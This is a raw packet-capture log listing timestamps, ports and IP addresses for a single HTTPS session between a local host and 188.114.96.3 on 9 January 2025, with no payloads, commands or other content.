Jan 9, 2025 09:31:23.855144024 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.855180025 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.855530977 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.855545998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.855602026 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.855607986 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.855618954 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.855642080 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.878622055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.878650904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.878741026 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.878748894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.878839970 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.880729914 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.880748034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.880805016 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.880810976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.880856991 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.930228949 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.930252075 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.930443048 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.930449963 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.930552006 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.934916973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.934932947 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.935058117 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.935064077 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.935158014 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.941070080 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.941133976 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.941152096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.941200018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.941436052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.941487074 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.941545010 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.941598892 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.941946030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.941961050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.942004919 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.942008972 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.942044020 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.942441940 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.942456007 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.942507029 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.942513943 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.942548037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.965683937 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.965708971 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.965780020 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.965797901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.965843916 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.967303991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.967324972 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.967453003 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:23.967459917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:23.967554092 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.017097950 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.017115116 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.017178059 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.017191887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.017246962 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.021872997 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.021888971 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.021945000 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.021951914 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.021981955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.021996975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.027995110 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.028008938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.028067112 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.028072119 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.028107882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.028212070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.028228998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.028268099 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.028275013 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.028310061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.028776884 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.028793097 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.028837919 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.028842926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.028867006 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.028904915 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.029263973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.029284954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.029328108 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.029333115 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.029360056 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.029371977 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.052634001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.052656889 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.052706957 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.052712917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.052743912 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.052774906 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.054084063 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.054100990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.054157019 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.054162025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.054195881 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.054219007 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.104387999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.104408979 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.104505062 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.104517937 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.104558945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.108684063 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.108748913 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.108748913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.108758926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.108803034 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.114892960 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.114907980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.114968061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.114974022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.115009069 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.115155935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.115170002 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.115223885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.115227938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.115266085 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.115452051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.115467072 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.115516901 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.115521908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.115560055 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.119798899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.119812965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.119874001 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.119879961 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.119920969 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.139564991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.139583111 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.139669895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.139678001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.139719963 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.141253948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.141292095 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.141323090 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.141328096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.141350031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.141369104 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.191287994 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.191308022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.191382885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.191392899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.191427946 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.195478916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.195496082 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.195564985 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.195569992 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.195619106 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.201548100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.201622963 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.201639891 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.201702118 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.202081919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.202095032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.202140093 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.202143908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.202168941 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.202193975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.202495098 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.202507973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.202563047 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.202567101 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.202611923 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.205075026 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.205092907 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.205138922 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.205144882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.205176115 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.205199957 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.226150990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.226166964 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.226212978 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.226222038 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.226243019 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.226274014 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.227972984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.228050947 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.228065968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.228121996 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.278194904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.278217077 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.278275967 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.278285980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.278326988 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.282360077 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.282376051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.282430887 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.282437086 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.282486916 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.288497925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.288602114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.288614988 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.288620949 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.288647890 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.288666964 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.289053917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.289068937 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.289117098 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.289120913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.289155960 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.289175987 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.289284945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.289299011 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.289339066 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.289345026 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.289378881 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.291940928 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.291956902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.292026043 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.292033911 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.292069912 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.313199043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.313230991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.313435078 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.313445091 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.313491106 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.314763069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.314778090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.314855099 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.314860106 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.314907074 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.365058899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.365082026 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.365243912 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.365258932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.365308046 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.369189978 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.369205952 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.369306087 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.369313002 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.369398117 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.375344992 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.375364065 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.375428915 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.375435114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.375483990 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.375750065 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.375765085 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.375818014 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.375823021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.375863075 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.376296043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.376311064 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.376358986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.376364946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.376400948 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.379340887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.379365921 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.379399061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.379404068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.379432917 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.379456043 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.403074980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.403126001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.403179884 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.403187037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.403220892 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.403239012 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.403606892 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.403623104 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.403697014 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.403702974 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.403749943 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.451824903 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.451843023 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.452064037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.452074051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.452116013 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.455997944 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.456013918 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.456068993 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.456074953 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.456125975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.462100983 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.462116957 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.462167025 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.462172985 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.462196112 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.462208986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.462502956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.462517023 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.462567091 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.462572098 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.462605953 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.462950945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.462965012 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.463011980 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.463016987 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.463051081 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.466191053 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.466248035 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.466294050 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.466299057 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.466337919 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.489872932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.489911079 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.489993095 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.490005016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.490081072 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.490370989 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.490387917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.490494013 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.490499973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.490546942 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.538785934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.538822889 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.538856983 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.538868904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.538908958 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.542928934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.542958021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.542995930 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.543004036 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.543035984 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.543070078 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.548953056 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.548971891 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.549010992 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.549015999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.549051046 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.549073935 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.549309015 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.549338102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.549366951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.549371958 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.549405098 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.549426079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.549823999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.549838066 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.549887896 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.549896955 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.549933910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.553199053 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.553215027 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.553284883 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.553291082 CET	443	49723	188.114.96.3	192.168.2.6
